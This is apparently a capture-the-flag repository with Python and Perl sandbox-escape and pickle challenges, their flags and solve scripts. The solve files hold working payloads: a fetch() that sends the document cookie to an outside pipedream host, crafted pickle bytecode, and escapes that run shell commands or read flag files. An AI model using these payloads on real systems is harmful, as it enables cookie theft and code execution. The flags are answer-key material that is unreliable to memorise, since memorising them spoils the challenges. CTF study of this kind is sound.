simple-websocket==1.0.0 13 | Werkzeug==3.0.3 14 | wsproto==1.2.0 15 | cryptography -------------------------------------------------------------------------------- /last-message/remote/app/static/default.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/last-message/remote/app/static/default.jpg -------------------------------------------------------------------------------- /last-message/remote/app/static/index.css: -------------------------------------------------------------------------------- 1 | :root { 2 | --background: 210 100% 6%; 3 | --foreground: 180 100% 90%; 4 | --primary: 200 100% 28%; 5 | --primary-foreground: 180 100% 90%; 6 | --secondary: 203 23% 30%; 7 | --secondary-foreground: 180 100% 90%; 8 | --accent: 198 70% 50%; 9 | --accent-foreground: 185 10% 13%; 10 | --destructive: 0 98% 44%; 11 | --destructive-foreground: 0 0% 100%; 12 | --muted: 200 50% 30%; 13 | --muted-foreground: 180 100% 90%; 14 | --card: 210 100% 12%; 15 | --card-foreground: 180 100% 90%; 16 | --popover: 210 100% 15%; 17 | --popover-foreground: 180 100% 90%; 18 | --border: 210 50% 40%; 19 | --input: 210 50% 40%; 20 | --ring: 180 100% 90%; 21 | --radius: 0rem; 22 | } 23 | 24 | 25 | /* Minimal Scrollbar Style */ 26 | ::-webkit-scrollbar { 27 | width: 8px; 28 | } 29 | 30 | ::-webkit-scrollbar-track { 31 | background-color: var(--background); 32 | } 33 | 34 | ::-webkit-scrollbar-thumb { 35 | background-color: var(--muted); 36 | border-radius: var(--radius); 37 | } 38 | 39 | ::-webkit-scrollbar-thumb:hover { 40 | background-color: var(--muted-foreground); 41 | } -------------------------------------------------------------------------------- /last-message/remote/app/static/pyscript.json: -------------------------------------------------------------------------------- 1 | { 2 | "packages": [] 3 | } -------------------------------------------------------------------------------- /last-message/remote/bot/bot.js: -------------------------------------------------------------------------------- 1 | const { chromium } = require('playwright-chromium'); 2 | const readline = require('readline'); 3 | 4 | const FLAG = process.env.FLAG; 5 | const URL = "http://app:8080"; 6 | 7 | (async function () { 8 | const browser = await chromium.launch({ 9 | args: ['--ignore-certificate-errors'], 10 | ignoreHTTPSErrors: true 11 | }); 12 | 13 | const rl = readline.createInterface({ 14 | input: process.stdin, 15 | output: process.stdout 16 | }); 17 | 18 | async function start() { 19 | console.log(`Visiting ${URL}`); 20 | 21 | const context = await browser.newContext({ ignoreHTTPSErrors: true }); 22 | await context.addCookies([{ 23 | name: 'FLAG', 24 | value: FLAG, 25 | domain: 'app', 26 | path: '/' 27 | }]); 28 | 29 | const page = await context.newPage(); 30 | 31 | await page.goto(URL, { waitUntil: 'networkidle' }); 32 | 33 | console.log(`Waiting for page to load, this may take a few seconds...`); 34 | await page.waitForSelector('#username'); 35 | const username = await page.$eval('#username', element => element.innerHTML); 36 | console.log(`Username: ${username}`); 37 | 38 | setTimeout(() => { 39 | try { 40 | page.close(); 41 | console.log('Timeout reached. Closing the page.'); 42 | process.exit(0); 43 | } catch (err) { 44 | console.error(`Error: ${err}`); 45 | } 46 | }, 30000); 47 | } 48 | 49 | console.log('The admin will visit the page and send you their username. Press Enter to continue.'); 50 | 51 | rl.question('', async () => { 52 | try { 53 | await start(); 54 | } catch (err) { 55 | console.error(`Error: ${err}`); 56 | } finally { 57 | rl.close(); 58 | } 59 | }); 60 | })(); -------------------------------------------------------------------------------- /last-message/remote/bot/flag.txt: -------------------------------------------------------------------------------- 1 | jail{py7h0n_f20n73nd_py7h0n_84ck3nd_w007_2eec3c62f4905ab5e295ae} 2 | -------------------------------------------------------------------------------- /last-message/remote/bot/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | socat TCP-LISTEN:4444,reuseaddr,fork EXEC:"node bot.js" -------------------------------------------------------------------------------- /last-message/remote/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | app: 5 | build: 6 | context: ./app 7 | dockerfile: Dockerfile 8 | ports: 9 | - "8080:8080" 10 | networks: 11 | - last-message-network 12 | 13 | bot: 14 | build: 15 | context: ./bot 16 | dockerfile: Dockerfile 17 | ports: 18 | - "4444:4444" 19 | networks: 20 | - last-message-network 21 | environment: 22 | FLAG: jail{py7h0n_f20n73nd_py7h0n_84ck3nd_w007_2eec3c62f4905ab5e295ae} 23 | depends_on: 24 | - app 25 | 26 | networks: 27 | last-message-network: 28 | driver: bridge 29 | 30 | -------------------------------------------------------------------------------- /last-message/solve/exploit.py: -------------------------------------------------------------------------------- 1 | II=1 2 | 3 | from js import eval 4 | eval("fetch('https://enlqsivuf3zce.x.pipedream.net/?q=' + document.cookie)") 5 | 6 | # 1. Upload this file as your profile picture 7 | # 2. Change 'username' in solve.html to your username 8 | # 3. Send any message to the admin so they cache this image 9 | # 4. Send a new websocket request to the admin with data = the base64 generated from solve.html -------------------------------------------------------------------------------- /last-message/solve/solve.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 13 | 14 | 15 | 16 | 17 | 25 | 26 | 27 | 28 | import os 29 | username = "NgkLmsJJ5791" 30 | os.makedirs("profiles", exist_ok=True) 31 | 32 | with open(f'profiles/{username}_exploit.py', 'wb') as f: 33 | f.write(b'II=1\n\nfrom js import eval\neval("alert(1)")') 34 | 35 | 36 | import pickle, io, builtins 37 | import base64 38 | 39 | from pickle import * 40 | def create(*args): 41 | return b''.join(args) 42 | 43 | payload = create( 44 | PROTO, b'\x04', 45 | GLOBAL, b"builtins\nhelp\n", 46 | UNICODE, f"profiles.{username}_exploit\n".encode(), 47 | TUPLE1, 48 | REDUCE, 49 | STOP 50 | ) 51 | print(payload) 52 | print(base64.b64encode(payload)) 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /lost-in-transit/README.md: -------------------------------------------------------------------------------- 1 | # lost in transit 2 | 3 | category: pyjail/pickle 4 | 5 | ## description 6 | 7 | usually when i send pickles in the mail they get lost in transit but this time they came back with radiation poisoning 8 | 9 | -------------------------------------------------------------------------------- /lost-in-transit/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /lost-in-transit/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{the flag will be here on remote!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!} 2 | -------------------------------------------------------------------------------- /lost-in-transit/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | 3 | import pickle 4 | from io import BytesIO 5 | from ast import literal_eval 6 | 7 | user_data = int(input('favorite number > ')) 8 | flag = open('flag.txt').read().strip() 9 | dumped = pickle.dumps((user_data, flag)) 10 | 11 | assert len(flag) == 79, len(flag) 12 | 13 | dumped = bytearray(dumped) 14 | dumped[int(input('radiation alert! > ')) % len(dumped)] += 1 15 | dumped = bytes(dumped) 16 | 17 | class ActuallySecureUnpickler(pickle.Unpickler): 18 | def find_class(self, module, name): 19 | return 'no' 20 | 21 | info, _ = ActuallySecureUnpickler(BytesIO(dumped)).load() 22 | print(f'here is your info: {info}') 23 | 24 | -------------------------------------------------------------------------------- /lost-in-transit/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /lost-in-transit/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant} 2 | -------------------------------------------------------------------------------- /lost-in-transit/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | 3 | import pickle 4 | from io import BytesIO 5 | from ast import literal_eval 6 | 7 | user_data = int(input('favorite number > ')) 8 | flag = open('flag.txt').read().strip() 9 | dumped = pickle.dumps((user_data, flag)) 10 | 11 | assert len(flag) == 79, len(flag) 12 | 13 | dumped = bytearray(dumped) 14 | dumped[int(input('radiation alert! > ')) % len(dumped)] += 1 15 | dumped = bytes(dumped) 16 | 17 | class ActuallySecureUnpickler(pickle.Unpickler): 18 | def find_class(self, module, name): 19 | return 'no' 20 | 21 | info, _ = ActuallySecureUnpickler(BytesIO(dumped)).load() 22 | print(f'here is your info: {info}') 23 | 24 | -------------------------------------------------------------------------------- /lost-in-transit/solve/README.md: -------------------------------------------------------------------------------- 1 | # radiation alert 2 | 3 | the solve for this one was changing the LONG4 opcode into a SHORT\_BINUNICODE, which would allow us to execute arbitrary pickle code. 4 | in the python handout, the loaded pickle value is unpacked and there must be two values. we can get the flag by setting up a short binbytes of our own 5 | with the code execution we have and the `}` at the end of the flag to create an empty dict for us to use as the second value, 6 | then when the two values on the stack are TUPLE2'd, it will be `(, {})` which is unpacked and we win 7 | 8 | -------------------------------------------------------------------------------- /lost-in-transit/solve/solve.py: -------------------------------------------------------------------------------- 1 | from pickle import * 2 | 3 | p = bytearray(BINPUT * 256) # equivalent to a bunch of no-ops 4 | p[1] = ord('C') # short binbytes 5 | p[0] = 5+78 # eat everything except for the } which creates an empty dict 6 | 7 | print(int.from_bytes(p, 'big') + (2**8)**(255+3)) # modified to eat up null bytes which would be interpreted as opcodes 8 | print(11) # type in 11 for the radiation alert to change \x8b to \x8c (long4 -> short_binunicode) 9 | -------------------------------------------------------------------------------- /mathjail/README.md: -------------------------------------------------------------------------------- 1 | # mathjail 2 | 3 | category: misc 4 | 5 | ## description 6 | 7 | ELEMENTARY, my dear Watson. 8 | -------------------------------------------------------------------------------- /mathjail/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | 5 | COPY --from=app / /srv 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | 9 | ENV JAIL_MEM=50M JAIL_TIME=60 JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2 -------------------------------------------------------------------------------- /mathjail/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /mathjail/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | 5 | COPY --from=app / /srv 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | 9 | ENV JAIL_MEM=50M JAIL_TIME=60 JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2 -------------------------------------------------------------------------------- /mathjail/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{wh0_n33d5_l00p5_wh3n_y0u_h4v3_m4th_:)} 2 | -------------------------------------------------------------------------------- /mathjail/solve/README.md: -------------------------------------------------------------------------------- 1 | # mathjail 2 | 3 | See [solve.py](solve.py) -------------------------------------------------------------------------------- /mathjail/solve/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | L1 = 'n+n//n' 4 | L2 = '((n+n)*(n+n+n+n+n)//n//n)**n*n*n//(n+n+n)//(n+n+n)' 5 | L3 = '(n%n)**((n+n+n)//n%((((n+n)//n)**n-n//n)%n*((((n+n+n)//n)**n%n-(n+n)//n)%n)+(n+n)//n))' 6 | L4 = 'n**(n*n)//(n**(n+n)-n**n-n//n)%n**n' 7 | 8 | # io = process(['python3', 'chal.py']) 9 | io = remote('challs3.pyjail.club', 9144) 10 | io.sendlineafter(b': ', L1.encode()) 11 | io.sendlineafter(b': ', L2.encode()) 12 | io.sendlineafter(b': ', L3.encode()) 13 | io.sendlineafter(b': ', L4.encode()) 14 | io.interactive() -------------------------------------------------------------------------------- /minieval-1/README.md: -------------------------------------------------------------------------------- 1 | # MiniEval 1 2 | 3 | category: mainstream/perl/golf 4 | 5 | ## description 6 | 7 | perl's pretty straightforward, right? 8 | -------------------------------------------------------------------------------- /minieval-1/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM perl:latest AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 jail.pl /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=20M JAIL_ENV_NUM=5 JAIL_TIME=35 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /minieval-1/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /minieval-1/handout/jail.pl: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/perl 2 | select(STDOUT); $| = 1; 3 | 4 | { 5 | print("> "); 6 | my $input = ; 7 | chomp($input); 8 | if (length($input) > 5 or $input =~ /[\pL'"<>\\]/) { 9 | print("Bye!"); 10 | exit(1) 11 | } 12 | 13 | $_ = eval($input); 14 | redo 15 | } 16 | -------------------------------------------------------------------------------- /minieval-1/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM perl:latest AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 jail.pl /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=20M JAIL_ENV_NUM=5 JAIL_TIME=35 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /minieval-1/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{quoteless_strings???_what_next...bitwise_on_strings???} 2 | -------------------------------------------------------------------------------- /minieval-1/remote/jail.pl: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/perl 2 | select(STDOUT); $| = 1; 3 | 4 | { 5 | print("> "); 6 | my $input = ; 7 | chomp($input); 8 | if (length($input) > 5 or $input =~ /[\pL'"<>\\]/) { 9 | print("Bye!"); 10 | exit(1) 11 | } 12 | 13 | $_ = eval($input); 14 | redo 15 | } 16 | -------------------------------------------------------------------------------- /minieval-1/solve/README.md: -------------------------------------------------------------------------------- 1 | # MiniEval 2 | 3 | todo add solve ideas and also solve script 4 | 5 | ``` 6 | 5 .0 7 | $;=$_ 8 | _0 9 | $;&$_ 10 | $;=$_ 11 | _^_ 12 | $_.=1 13 | $;^$_ 14 | $;=$_ 15 | 9 .6 16 | $;^$_ 17 | $;=$_ 18 | $;^__ 19 | `$_` 20 | ``` 21 | -------------------------------------------------------------------------------- /minieval-1/solve/solve.txt: -------------------------------------------------------------------------------- 1 | 5 .0 2 | $;=$_ 3 | _0 4 | $;&$_ 5 | $;=$_ 6 | _^_ 7 | $_.=1 8 | $;^$_ 9 | $;=$_ 10 | 9 .6 11 | $;^$_ 12 | $;=$_ 13 | $;^__ 14 | `$_` 15 | -------------------------------------------------------------------------------- /no-nonsense/README.md: -------------------------------------------------------------------------------- 1 | # no nonsense 2 | 3 | category: pyjail/introductory 4 | 5 | ## description 6 | 7 | to stop intruders we implemented a No Nonsense™ policy. function calls, lists, setting variables? nope. 8 | 9 | -------------------------------------------------------------------------------- /no-nonsense/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=48 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /no-nonsense/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /no-nonsense/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from ast import parse, NodeVisitor 3 | 4 | inp = input('> ') 5 | if any(c in inp for c in '([=])'): 6 | print('no.') 7 | exit() 8 | 9 | class NoNonsenseVisitor(NodeVisitor): 10 | def visit_Name(self, n): 11 | if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right? 12 | print('no ' + n.id) 13 | exit() 14 | 15 | 16 | NoNonsenseVisitor().visit(parse(inp)) 17 | 18 | exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk 19 | 20 | -------------------------------------------------------------------------------- /no-nonsense/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=48 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /no-nonsense/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized} 2 | -------------------------------------------------------------------------------- /no-nonsense/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from ast import parse, NodeVisitor 3 | 4 | inp = input('> ') 5 | if any(c in inp for c in '([=])'): 6 | print('no.') 7 | exit() 8 | 9 | class NoNonsenseVisitor(NodeVisitor): 10 | def visit_Name(self, n): 11 | if n.id in inp: # surely impossible to get around this since they will be the same between ast.parse and inp, right? 12 | print('no ' + n.id) 13 | exit() 14 | 15 | 16 | NoNonsenseVisitor().visit(parse(inp)) 17 | 18 | exec(inp) 19 | 20 | -------------------------------------------------------------------------------- /no-nonsense/solve/payload.txt: -------------------------------------------------------------------------------- 1 | @ᵉᵛªₗ @ᵢⁿₚᵘₜ class fl: pass 2 | breakpoint() 3 | __import__('os').system('cat flag.txt') 4 | -------------------------------------------------------------------------------- /no-nonsense/solve/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from subprocess import check_output 3 | 4 | p = remote('localhost', 5000) 5 | 6 | # solve pow 7 | p.recvline() 8 | p.sendline(check_output(p.recvline().strip(),shell=True).strip()) 9 | 10 | # send payload 11 | p.send(open('payload.txt','rb').read()) 12 | 13 | p.interactive() 14 | 15 | -------------------------------------------------------------------------------- /parity-1/README.md: -------------------------------------------------------------------------------- 1 | # parity 1 2 | 3 | category: pyjail/introductory 4 | 5 | ## description 6 | 7 | `01010101010101010101010101010101010101010101010101010101` 8 | 9 | no exceptions. 10 | 11 | -------------------------------------------------------------------------------- /parity-1/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /parity-1/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /parity-1/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | inp = input("> ") 3 | 4 | for i, v in enumerate(inp): 5 | if not (ord(v) < 128 and i % 2 == ord(v) % 2): 6 | print('bad') 7 | exit() 8 | 9 | eval(inp) 10 | -------------------------------------------------------------------------------- /parity-1/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /parity-1/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{parity_41f5812e8c0cd9} 2 | -------------------------------------------------------------------------------- /parity-1/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | inp = input("> ") 3 | 4 | for i, v in enumerate(inp): 5 | if not (ord(v) < 128 and i % 2 == ord(v) % 2): 6 | print('bad') 7 | exit() 8 | 9 | eval(inp) 10 | -------------------------------------------------------------------------------- /parity-1/solve/README.md: -------------------------------------------------------------------------------- 1 | # parity 1 2 | 3 | idk just check all builtins to see which ones are ok, see that exec and eval are ok, use the feature of `'a' 'b' == 'ab'`, profit 4 | 5 | my sol: ` [ eval] [0](' [ eval] [0](' ' in' 'put' '() ) ' )` 6 | 7 | -------------------------------------------------------------------------------- /parity-2/README.md: -------------------------------------------------------------------------------- 1 | # parity 2 2 | 3 | category: pyjail/introductory 4 | 5 | ## description 6 | 7 | how about no builtins? you can have this lambda though 8 | 9 | -------------------------------------------------------------------------------- /parity-2/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /parity-2/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /parity-2/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | inp = input("> ") 3 | 4 | f = lambda: None 5 | 6 | for i, v in enumerate(inp): 7 | if v == "_": 8 | continue 9 | if not (ord(v) < 128 and i % 2 == ord(v) % 2): 10 | print('bad') 11 | exit() 12 | 13 | eval(inp, {"__builtins__": None, 'f': f}) 14 | -------------------------------------------------------------------------------- /parity-2/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /parity-2/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{parity2_1e2e8963ea65a0333f617} 2 | -------------------------------------------------------------------------------- /parity-2/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | inp = input("> ") 3 | 4 | f = lambda: None 5 | 6 | for i, v in enumerate(inp): 7 | if v == "_": 8 | continue 9 | if not (ord(v) < 128 and i % 2 == ord(v) % 2): 10 | print('bad') 11 | exit() 12 | 13 | eval(inp, {"__builtins__": None, 'f': f}) 14 | -------------------------------------------------------------------------------- /parity-2/solve/README.md: -------------------------------------------------------------------------------- 1 | # parity 2 2 | 3 | here you can use tabs instead of spaces and then also you can use `f.__globals__` which is super super super super lucky that it passes the parity check and that is why i added it to the challenge 4 | 5 | then, you just get builtins and win 6 | 7 | payload that gets shell (hex enc): `66092e5f5f676c6f62616c735f5f205b225f2209225f62752209226922276c27202774696e735f27225f225d2e6576616c0928092027662720272e27225f2209225f22092267220920276c27226f2209202762272261220920276c2722732209225f2209225f2209225b220922272209225f2209225f220920276227227522092269220920276c27202774272269220920276e2722732209225f2209225f220922272209225d220920272e27225f2209225f220922692209226d220920277027226f22092027722720277427225f2209225f22092027282722272209226f220922732209222722092229220920272e272273220922792209227322092027742722652209226d22092027282722272209227322092027682722272209222922092029` 8 | 9 | payload that reads flag that is shorter (hex enc): `207b207d205b28092a0966092e5f5f676c6f62616c735f5f205b225f2209225f62752209226922276c27202774696e735f27225f225d2e6f70656e0928092027662720276c27226122092267220920272e2720277427202778272027742720292c29205d` 10 | 11 | -------------------------------------------------------------------------------- /parseltongue/README.md: -------------------------------------------------------------------------------- 1 | # parseltongue 2 | 3 | category: pyjail 4 | 5 | ## description 6 | 7 | its so sad that computers only know the characters on our keyboard 💔 hopefully someone comes up with more in the future 8 | 9 | -------------------------------------------------------------------------------- /parseltongue/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:83f5f8714b6881d3e0e91023d9fe9e43aa6ad5a04e9f9a94ee180b18b021c72a AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | 9 | ENV JAIL_MEM=20M 10 | ENV JAIL_TIME=60 11 | -------------------------------------------------------------------------------- /parseltongue/handout/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | from os import __dict__ 3 | 4 | value = input("speak to me > ") 5 | code = input("your code > ") 6 | 7 | assert all(32 <= ord(x) < 127 for x in code), 'cant read this' 8 | 9 | def f(): 10 | pass 11 | 12 | f.__code__ = f.__code__.replace(co_names=(), co_code=code.encode()) 13 | f() 14 | -------------------------------------------------------------------------------- /parseltongue/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /parseltongue/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:83f5f8714b6881d3e0e91023d9fe9e43aa6ad5a04e9f9a94ee180b18b021c72a AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | 9 | ENV JAIL_MEM=20M 10 | ENV JAIL_TIME=60 11 | -------------------------------------------------------------------------------- /parseltongue/remote/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | from os import __dict__ 3 | 4 | value = input("speak to me > ") 5 | code = input("your code > ") 6 | 7 | assert all(32 <= ord(x) < 127 for x in code), 'cant read this' 8 | 9 | def f(): 10 | pass 11 | 12 | f.__code__ = f.__code__.replace(co_names=(), co_code=code.encode()) 13 | f() 14 | -------------------------------------------------------------------------------- /parseltongue/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{https://nypost.com/2016/11/02/trevor-bookers-two-key-defensive-plays-secure-nets-win/} 2 | -------------------------------------------------------------------------------- /parseltongue/solve/README.md: -------------------------------------------------------------------------------- 1 | # parseltongue 2 | 3 | ok i have no clue what the hell we did but it worked and it works so i dont care lol 4 | 5 | brief overview: 6 | 7 | 1) `LOAD_FAST` OOB read to get builtins dict 8 | 2) `UNPACK_EX` and `STORE_FAST` to get arb dict keys 9 | 3) `MATCH_KEYS` to get arb dict values 10 | 4) overwrite the `send` attr of some obj and then get the string with `SWAP` or smth and then call with `SEND` opcode with perl idk wtf is going on but it works 11 | 12 | -------------------------------------------------------------------------------- /parseltongue/solve/real-solve.py: -------------------------------------------------------------------------------- 1 | from pwn import remote, context 2 | import time 3 | 4 | context.log_level = "DEBUG" 5 | 6 | p = remote("localhost", 5000) 7 | p.sendlineafter(b"> ", b"/usr/bin/perl") 8 | p.sendlineafter(b"> ", b'|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|Ec2}c|<}b|b^(}~}~}~}~}~}~}~}~}a|_|c|a ")) 12 | print(RestrictedUnpickler(io.BytesIO(data)).load()) 13 | 14 | -------------------------------------------------------------------------------- /pickled-magic/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir numpy 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=39M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=20 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /pickled-magic/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{idk_about_mag1c_but_this_is_definitely_pickled} 2 | -------------------------------------------------------------------------------- /pickled-magic/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py 3 | import pickle, numpy, io 4 | from pickle import _getattribute 5 | class RestrictedUnpickler(pickle.Unpickler): 6 | def find_class(self, module, name): 7 | if module == 'numpy' and '__' not in name: 8 | return _getattribute(numpy, name)[0] 9 | raise pickle.UnpicklingError('bad') 10 | 11 | data = bytes.fromhex(input("(hex)> ")) 12 | print(RestrictedUnpickler(io.BytesIO(data)).load()) 13 | 14 | 